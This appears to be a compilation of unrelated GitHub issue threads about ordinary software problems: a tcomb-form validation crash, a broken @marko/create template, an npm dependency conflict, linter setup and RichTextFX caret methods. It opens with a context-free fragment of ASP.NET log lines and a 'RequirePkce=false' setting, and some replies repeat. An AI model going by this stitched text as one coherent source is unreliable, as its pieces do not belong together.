info: Microsoft.AspNetCore.Hosting.Diagnostics[2]
      Request finished in 59.5682ms 302
info: Microsoft.AspNetCore.Hosting.Diagnostics[1]
      Request starting HTTP/1.0 GET http://auth.Example.com/Account/Login?ReturnUrl=%2FManage%2FSendVerificationEmail

RequirePkce=false


Uncaught TypeError: Cannot read property - t.list custom validation and error message

Version
Tell us which versions you are using:

tcomb-form v0.9.0
react v0.14.3

Hi,
Suddenly stumbled upon an issue and not sure if its a bug or am doing something odd.
Scenario:
Basically trying to have a LIST type and a custom validation to check duplicate entries like below
var Invited = t.enums({
  Y: 'Yes',
  N: 'No'
}, 'Invited');

var SpecialType = t.struct({
  specialty: t.String, // <= from options this becomes t.form.Select as factory and select's dropdown values are populated or assigned through state
  invited: Invited
}, 'SpecialType');

function hasDuplicates(a) {
  return _.uniq(a).length !== a.length;
}

function getIndexedKeysAsArray(x, key) {
  var ret = [];
  for (var i = 0; i < x.length; i++) {
    if (x[i].hasOwnProperty(key)) {
      ret.push(x[i][key]);
    }
  }
  return ret;
}

const CustomListNoDuplicates = t.refinement(t.list(SpecialType), function(x){
    var hasDup = hasDuplicates(getIndexedKeysAsArray(x, "specialty"));
    return !hasDup;
});

CustomListNoDuplicates.getValidationErrorMessage = (value, path, context) => {
  return "Error: Found duplicates";
};

var Type = t.struct({
  specialties: CustomListNoDuplicates,
  affiliation: t.String
});

<Form ref="form" type="{Type}" options={this.state.options} value={this.state.value} onChange={ this.onChange } />

All works fine until validation is called with
this.refs['form'].validate()
Properly the validation error is also passed through.
Issue or error happens when again ADD MORE is clicked and following error appears in console
components.js:863 Uncaught TypeError: Cannot read property

Full trace from console:
components.js:863 Uncaught TypeError: Cannot read property
'getValue' of undefinedgetValue @ components.js:863
getError @ components.js:257getLocals @ components.js:293
getLocals @ components.js:991render @ components.js:306
ReactCompositeComponentMixin._renderValidatedComponentWithoutOwnerOrContext @ ReactCompositeComponent.js:587
ReactCompositeComponentMixin._renderValidatedComponent @ ReactCompositeComponent.js:607
ReactCompositeComponent__renderValidatedComponent @ ReactPerf.js:66
ReactCompositeComponentMixin._updateRenderedComponent @ ReactCompositeComponent.js:560
ReactCompositeComponentMixin._performComponentUpdate @ ReactCompositeComponent.js:544
ReactCompositeComponentMixin.updateComponent @ ReactCompositeComponent.js:473
ReactCompositeComponent_updateComponent @ ReactPerf.js:66
ReactCompositeComponentMixin.performUpdateIfNecessary @ ReactCompositeComponent.js:421
ReactReconciler.performUpdateIfNecessary @ ReactReconciler.js:102
runBatchedUpdates @ ReactUpdates.js:129Mixin.perform @ Transaction.js:136
Mixin.perform @ Transaction.js:136assign.perform @ ReactUpdates.js:86
flushBatchedUpdates @ ReactUpdates.js:147ReactUpdates_flushBatchedUpdates @ ReactPerf.js:66
Mixin.closeAll @ Transaction.js:202Mixin.perform @ Transaction.js:149
ReactDefaultBatchingStrategy.batchedUpdates @ ReactDefaultBatchingStrategy.js:62
batchedUpdates @ ReactUpdates.js:94ReactEventListener.dispatchEvent @ ReactEventListener.js:204

So, when the validate() is called the specific function of getValue is called with length of the given type (LIST) as 2.

However, when the validation is failed due to duplicate values as mentioned in the refinement, next time the length is 3 without rendering or adding that to the list in actual.

for index 3 which is non exist yet and end up in error:

Interestingly if below code is commented or removed, everything (add more, remove etc.) works fine without any issues and also the custom validation works too. Only glitch is that am unable to get hold of exact message or reason for validation failure and unable to display appropriate message without the below block.
CustomListNoDuplicates.getValidationErrorMessage = (value, path, context) => {
  return "Error: Found duplicates";
};

Please guide on workaround to this specific issue or a better way of achieving of validating duplicate entries in the list and ability to show error message to users.

@rajeshps thanks for the detailed report, working on this...

Got it. If a getValidationErrorMessage is defined, getError calls getValue in order to build the error message, but the new component doesn't yet exist so its index is not contained in this.refs and getValue throws. I think that a simple check on this.refs would fix this issue:
https://github.com/gcanti/tcomb-form/blob/322/src/components.js#L641-L643

Perfect, checked the fix and works well. Thanks for a quick one.

Released in https://github.com/gcanti/tcomb-form/releases/tag/v0.9.5


Accept commit targets which are just store refs

Accept commit target names which don't include a transport name by checking if they parse as valid containers-storage references after they fail to parse as a general reference.

@rh-atomic-bot r+ bd0efd1


[BUG]: WRONG TITLE FOR WEBSITE 🐞

Details

The website title needs to be Animating Buttons but the title is wrongly declared as Animated Buttons
We need to fix this issue.

Screenshots

Type of Contribution

[ ] Update to an existing Animated Button
[ ] Adding a new Button
[X] Resolving a bug
[ ] Proposal to the Repository
[ ] Changes related to documentation or README.md
[ ] Other Changes

Checklist

[X] I have checked the existing issues
[X] I have read the Contributing Guidelines
[X] I am willing to work on this issue
[X] I am a GSSoC'23 contributor

Hey there @Souravvmishra 👋🏻
Please make sure to assign this issue to me to make the work done!

Please make sure to assign this issue to me to make the work done!

@Souravvmishra Please assign this issue to me, because i created this issue.
@Durjoy36 has want to create his own to contribute.

@Spyware007, What Do You Think?

@Souravvmishra, @Spyware007 Can i get any update ?

🎉 The GSSOC'23 program has reached its conclusion, prompting us to officially close all pull requests (PRs) and issues. We extend a heartfelt thank you for your amazing contributions! 🙌 Keep the coding spirit alive with the same enthusiasm, and may luck 🍀 favor you in all your future coding adventures!


Anaconda handy cheat sheet link no longer works

The Anaconda handy cheat sheet link in the cook book chapter 8, no longer works. https://conda.io/docs/_downloads/conda-cheatsheet.pdf

Thanks, fixed!


[stable/nginx-ingress] Add helpful comment regarding affinity

I presume this is how people keep the pods when run as a deployment running on separate nodes? If so it's nice to have it in the values file to easily uncomment.
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] DCO signed
[x] Chart Version bumped
[x] Variables are documented in the README.md
[x] Title of the PR starts with chart name (e.g. [stable/chart])

/lgtm

/retest


@marko/create's default starter app template no longer exists

Environment
<EMAIL_ADDRESS>node v16.17.1
npm 8.18.0

Details
When choosing the "default starter template app" template during  @marko/create, I get the error "Example basic does not exist in marko-js/examples."

Actual Behavior
marko/create errors on default starter app template.

Steps to reproduce
1 - run npm init marko
Need to install the following packages:
<EMAIL_ADDRESS>Ok to proceed? (y) y

2 - Type y to install, then "Type your project name"
3 - Choose Default starter app template
✔ Choose a template · Default starter app

4 - Error:
✖ Example basic does not exist in marko-js/examples.

Error: Example basic does not exist in marko-js/examples.
    at assertExampleExists (.../node_modules/@marko/create/dist/index.js:99:11)
    at processTicksAndRejections (node:internal/process/task_queues:96:5)
    at async create (.../node_modules/@marko/create/dist/index.js:54:5)
    at async run (.../node_modules/@marko/create/dist/cli.js:151:9)

Additional Questions

Is the marko cli (marko/build, marko/serve) still supported and considered a valid/recommended  approach?
I've been using marko-vite and feel that's the best path forward for Marko builds / tooling in general. However, I have a need for static builds occasionally, and require a bit more control than ssr-to-html (ie: ensuring all routes are generated without needing front-end links to crawl, removing all unused files).

Thanks!

I tried reproducing your bug, but it looks like it works now for whatever reason:
Last login: Wed Dec  7 12:50:33 on ttys002
~ % cd Desktop
Desktop % npm init marko
Need to install the following packages:
  create-marko
Ok to proceed? (y) y
✔ Type your project name · test
✔ Choose a template · Default starter app
✔ Project created! To get started, run:

    cd test
    npm run dev

It might have been fixed in the time between you opening this ticket and me finally getting around to it. 😅
Additional answers
Is the marko cli (marko/build, marko/serve) still supported and considered a valid/recommended approach?
That’s what we plan on recommending in general for the foreseeable future, yeah. @rturnq is working on improving marko/serve, even.
However, I have a need for static builds occasionally, and require a bit more control than ssr-to-html (ie: ensuring all routes are generated without needing front-end links to crawl, removing all unused files).
If you’d be so kind as to give us as much detail as possible on these needs for your project, we’ll look into supporting them better!
In the meantime, my personal favorite DIY build tool for Marko apps is @marko/rollup. If it helps, I have a full Rollup config from an old project you can check/steal from if you like.

Maybe he still exists.
Node Version：v20.10.0
npm Version：10.2.3
OS Version： Windows 11 23H2（22631.3007）
$npm init marko
√ Type your project name · my-app
√ Choose a template · Default starter app
× Example basic does not exist in marko-js/examples.

Error: Example basic does not exist in marko-js/examples.
    at assertExampleExists (C:\Users\xiaoqi\AppData\Local\npm-cache\_npx\ba91dde5859b4878\node_modules\@marko\create\dist\index.js:99:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async create (C:\Users\xiaoqi\AppData\Local\npm-cache\_npx\ba91dde5859b4878\node_modules\@marko\create\dist\index.js:54:5)
    at async run (C:\Users\xiaoqi\AppData\Local\npm-cache\_npx\ba91dde5859b4878\node_modules\@marko\create\dist\cli.js:151:9)


Portal: npm install failed

Describe the bug
I want to add additional info to portal website, but I can't install and build portal project successfully.
To Reproduce
Node JS: v18.18.2

clone data-transfer-hub project
git checkout 7e6191c
cd source/portal
npm install
get error messages

npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving<EMAIL_ADDRESS>npm ERR! Found<EMAIL_ADDRESS>npm ERR! node_modules/aws-amplify
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer<EMAIL_ADDRESS>|| 4.x.x" from<EMAIL_ADDRESS>npm ERR! node_modules/@aws-amplify/ui-components
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR!
npm ERR! For a full report see:
npm ERR! C:\Users\XXXXX\AppData\Local\npm-cache\_logs\2023-10-19T07_02_52_325Z-eresolve-report.txt

npm ERR!
Additional context
Add any other context or screenshots about the feature request here.

@sumeranger Please try to use npm install --legacy-peer-deps

npm install --legacy-peer-deps

Thanks for your reply!


Telling Blow and Favored Power Attack Feats

OK cool.  You made the change for me.  Have you tested the new way much?  I see some possible difficulty but I haven't have time to test yet.

I haven't tested extensively since this was mostly meant as a hotfix for broken character classes. But I think it replicates the functionality for the most part.
Also I'm reverting the change in d20_status. Are you going to add every feat you edit there? That's unreasonable. Remind me what the purpose was?

I'll let you know if I see anything when I have a chance to look it over.
Adding the feat conditions in d20_status was necessary to get them to be visible in python.   Is there a better way to accomplish that?  If so, I can change it to work the way you want.

What do you mean by "necessary to get them to be visible in python"? The has_feat method? That shouldn't be related.
Also, are you aware of initFeats inside d20_status? It iterates over all feats and adds their associated modifiers, so it should cover everything already without having to manually add them.

The has_feats() method works fine.  It's the conditions associated with the feats that were not showing up.  I'll take a look into it Wednesday and let you know precisely what the issue is.

Where would they show up? In the Dispatcher? If so that's another issue, not related to Python. But it shouldn't happen either due to initFeats.


[1075] Add jscs and jshint

Adds and configures the linters jscs and jshint. Merging into @orenyk's branch since that seems to make the most sense right now.
Also streamlines bundle install since we're now just installing what we need to run tests instead of everything.
NOTE: The Travis build should be failing, because both jscs and jshint are failing.

Oh I should add – the JS linters only check files ending in .js. This means that none of the .js.erb files will be checked. This should be fine though because the linters would error out like crazy when seeing all the ERb tags everywhere, and there is no real way around that. Also whenever we switch to a JS front-end (#1061) it won't really matter, because we shouldn't have any .js.erb files anymore.

Oh I should add – the JS linters only check files ending in .js. This means that none of the .js.erb files will be checked. This should be fine though because the linters would error out like crazy when seeing all the ERb tags everywhere, and there is no real way around that. Also whenever we switch to a JS front-end (#1061) it won't really matter, because we shouldn't have any .js.erb files anymore.

Ok that makes sense to me, is this ready to go?

Ok that makes sense to me, is this ready to go?

Yup!

Yup!

Great, merging :-)

Great, merging :-)


[Machine Learning]: An Introduction to Dimensionality Reduction in Python

Topic Suggestion
Machine Learning
Writing sample(s):
https://www.section.io/engineering-education/authors/srishilesh-p-s/
Proposal Submission
Proposed title of article
An Introduction to Dimensionality Reduction
Proposed article introduction
Dimensionality reduction refers to techniques for reducing the number of input variables in training data. When dealing with high dimensional data, it is often useful to reduce the dimensionality by projecting the data to a lower dimensional subspace which captures the “essence” of the data.
In this article, the reader will be learning the concept of dimensionality reduction in-detail. Also, the reader will understand and learn to implement various types of dimensionality reduction using Scikit library in Python.
Key takeaways

The reader will understand what dimensionality reduction is, it's significance in building effective deep learning models
The reader will understand different ways to reduce dimensions of the dataset
The reader will be exploring about built-in functions in scikit library to understand it's code implementation.

Article quality

At Section, we do not have any articles related to dimensionality reduction of machine learning datasets
Although, we have few articles discussing 1 or 2 types of dimensionality reduction with some application, we don't have a common article that lists down all types of dimensionality reductions along with it's implementations.

References

https://en.wikipedia.org/wiki/Dimensionality_reduction

Hello @srishilesh. This topic is widely covered on the internet. A simple Google search gives 100s of results. How do you plan to make this unique?

Hey @lalith1403,
Thanks for checking this out.
I totally agree, this topic looks a little repetitive.
When I looked for such articles on the internet, a majority of the articles had its implementations done via Sci-kit library, but most of them would have algorithms built from scratch.
Here, I'll be explaining the mathematical intuitions behind PCA and SVD,  also implement them from scratch. Apart from these, I'll be explaining more about the curse of dimensionality reduction.
I'm pretty sure that you would also have some amazing suggestions that I could possibly use to add more value to the article. Please let me know.
Thanks.

Thank you for the reply. Implementing from scratch has been covered extensively especially on the Machine Learning mastery blog. I would suggest you propose a new topic. Thank you.

Thank you for the reply. Implementing from scratch has been covered extensively especially on the Machine Learning mastery blog. I would suggest you propose a new topic. Thank you.

@lalith1403
Noted. Thanks for the reply.


Metadata update

Your dataset was added to CoronaWhy (https://www.coronawhy.org/) Data Lake on Dataverse as a piece of common COVID-19 data frame  http://datasets.coronawhy.org/dataset.xhtml?persistentId=doi:10.5072/FK2/DTJIHJ
Would you be willing to help with the maintenance of your dataset in Dataverse, e.g. adding the relevant metadata and keeping the dataset up-to-date? That will help to make the dataset findable and accessible for the medical science community.

Sorry, I have not noticed the issue until now. The dataset does not contain any medical data about covid.


Where is the pretrained model for ucf101 to finetune

In the train_ucf101, the default pretrained model for ucf101 to finetune is
'./network/pretrained/vY5_866M_Kinetics_v50_fm16-it123_ep-0019.pth'
Is the model is same as MFNet3D_Kinetics-400_72.8.pth ?

Yes. see: #3

@cypw  thanks!


Added tests for Model related classes

Pull Request Test Coverage Report for Build 314

8 of 8 (100.0%)  changed or added relevant lines in 4 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.4%) to 87.233%

Totals

Change from base Build 312:
0.4%

Covered Lines:
2740

Relevant Lines:
3141

💛  - Coveralls


Expose moveCaretUpLines/moveCaretDownLines methods in GenericStyledArea

In my application I'm trying to implement a "typewriter scrolling mode" whereby the caret stays on the same line/position in the view and the text scrolls up and down around it.
Getting the caret to stay in the same place is easy, however trying to scroll the caret up/down by a line in response to mouse scroll events is proving difficult.  Essentially when the user scrolls the mouse I want the same behavior as when they press KeyCode.KP_UP/KeyCode.KP_DOWN.
Would it be possible to add methods to GenericStyledArea (or CaretSelectionBind) that allow the caret to be moved up/down by a specific number of lines?  The behavior I'm looking for is essentially GenericStyledAreaBehavior.downLines(SelectionPolicy selectionPolicy, int nLines) but that method is private and you can't get to the behavior from GenericStyledArea.
I tried copying the code from the behavior and the area but there are too many private objects that I can't access to make it work.

Hi Gary, apologies for not getting back to you sooner on this .....
What I understand you are asking for seems to me to be the same behavior as nextPage and prevPage, just restricted to lines.
So as a starting point I've added a method scrollLines( SelectionPolicy, int ) which leverages the same paging code to keep the cursor in the same place visually on screen but to move the lines of text up/down relative to it.
Could you please review and if possible try it out and see if it does what you need it to do.
Otherwise if I've misunderstood just let me know and we can refine, rework, whatever ....

Submitted PR #1086

It's no problem :) I'm sure you're busy!  I haven't been able to try the code, I can't get my local version of richtextfx to compile and because I'm using java 17 gradle won't work either (ironically).
I did look at the code though and it looks like it will do exactly what I need thank you.
Incidentally do you have a timeframe for when version 0.10.8 will be released?

wrt 0.10.8 I would like to get it out by the end of the month latest, hopefully.
Question re API, do you think scrollLines is a suitable method name for this ?  My concern is that its behavior is different to the scroll methods. Would maybe nextLine and prevLine be better as it aligns with the behavior of nextPage and prevPage ?
Your thoughts would be appreciated, thanks.

Thanks for letting me know about 0.10.8.
I tend to agree that method names "nextLine" and "prevLine" would be better, especially because it will be consistent with "nextPage" and "prevPage".  Anything that reduces the thinking time when looking at an API is a good thing in my view.

Okay, have made the API changes.
Here's release candidate for you to try: richtextfx-0.10.8-rc1.zip
(just rename zip to jar)

Note that calls to nextLine or prevLine when the caret isn't visible is a noop.

Thank you for the jar.  I've tested it and can confirm that it fixes a number of issues:

The highlighting of the line where the caret is now disappears when you setLineHighlighterOn to false.

The selection now uses a rectangle even when the line-spacing and padding is less than 1.

The nextLine/prevLine methods work as expected and will move the caret up/down by a single line.

Thanks again for these fixes and features :)